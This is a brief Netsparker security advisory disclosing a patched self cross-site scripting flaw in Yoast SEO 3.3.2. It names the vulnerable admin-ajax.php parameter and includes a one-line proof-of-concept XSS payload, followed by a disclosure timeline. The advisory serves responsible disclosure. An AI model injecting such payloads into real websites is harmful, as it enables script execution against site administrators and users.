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Self XSS Vulnerability Identified in Yoast SEO 3.3.2

Advisory by Netsparker
Name: Self XSS Vulnerability in Yoast SEO 3.3.2
Affected Software : Yoast SEO
Affected Versions: 3.3.2 and possibly below
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-16-007

Technical Details
Proof of Concept URLs for XSS vulnerabilities in Yoast SEO 3.3.2:

URL /wordpress/wp-admin/admin-ajax.php
Parameter Name new_value
Parameter Type POST
Attack Pattern ><iMg src=N onerror=alert(9)>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
29 Jun 2016 - First Contact
01 Jul 2016 - Vendor Replied
27 Jul 2016 - Advisory Released

Patch released by Yoast SEO and annocunced here.

Credits & Authors
These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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